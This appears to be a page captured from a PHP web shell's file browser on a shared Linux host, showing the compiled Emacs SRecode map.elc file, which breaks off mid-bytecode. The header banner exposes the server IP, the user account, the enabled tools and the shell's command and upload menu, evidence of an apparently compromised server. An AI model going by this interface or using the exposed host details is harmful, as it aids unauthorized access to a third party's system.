Server IP : 111.118.215.189 / Your IP : 18.217.207.112 Web Server : Apache System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : a1673wkz ( 2475) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /usr/share/emacs/24.3/lisp/cedet/srecode/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
;ELC ;;; Compiled by mockbuild@buildfarm06-new.corp.cloudlinux.com on Fri Oct 11 10:11:33 2024 ;;; from file /builddir/build/BUILD/emacs-24.3/lisp/cedet/srecode/map.el ;;; in Emacs version 24.3.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. ;;; This file does not contain utf-8 non-ASCII characters, ;;; and so can be loaded in Emacs versions earlier than 23. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\300\301!\210\300\302!\210\300\303!\207" [require semantic eieio-base srecode] 2) #@47 Find the base template directory for SRecode. (defalias 'srecode-map-base-template-dir #[nil "\301\302\"\207" [data-directory expand-file-name "srecode"] 3 (#$ . 654)]) #@47 The current map for global SRecode templates. (defvar srecode-current-map nil (#$ . 830)) (byte-code "\300\301\302\303\304\305\306\307&\210\310\311\312\313\314$\210\315\316\317\316\320\"\"\210\321\316\322\311\323$\210\315\324\317\324\325\"\"\210\321\324\322\311\326$\210\315\327\317\327\330\"\"\210\321\327\322\311\331$\210\315\332\317\332\325\"\"\210\321\332\322\311\333$\210\315\334\317\334\335\"\"\210\321\334\322\311\336$\210\315\337\317\337\340\"\"\210\321\337\322\311\341$\210\315\342\317\342\343\"\"\210\321\342\322\311\344$\210\315\345\317\345\346\"\"\210\321\345\322\311\347$\210\315\350\317\350\351\"\"\210\321\350\322\311\352$\207" [custom-declare-variable srecode-map-save-file (locate-user-emacs-file "srecode-map.el" ".srecode/srecode-map") "The save location for SRecode's map file.\nIf the save file is nil, then the MAP is not saved between sessions." :group srecode :type file eieio-defclass srecode-map (eieio-persistent) ((fileheaderline :initform ";; SRECODE TEMPLATE MAP") (files :initarg :files :initform nil :type list :documentation "An alist of files and the major-mode that they cover.") (apps :initarg :apps :initform nil :type list :documentation "An alist of applications.\nEach app keys to an alist of files and modes (as above.)")) ("A map of srecode templates.") eieio--defalias srecode-map-entry-for-file eieio--defgeneric-init-form #1="Return the entry in MAP for FILE." eieio--defmethod nil #[(map file) "\302\303 \304\"\"\207" [file map assoc eieio-oref files] 5 #1#] srecode-map-entries-for-mode #2="Return the entries in MAP for major MODE." #[(map mode) "\305\306 \307\"\305\211\203# @\310\f\nA\"\203 \nBA\211\204 *)\207" [ans map f --dolist-tail-- mode nil eieio-oref files mode-local-use-bindings-p] 4 #2#] srecode-map-entry-for-app #3="Return the entry in MAP for APP'lication." #[(map app) "\302\303 \304\"\"\207" [app map assoc eieio-oref apps] 5 #3#] srecode-map-entries-for-app-and-mode #[(map app mode) "\306\307 \"\nA\306\211\203&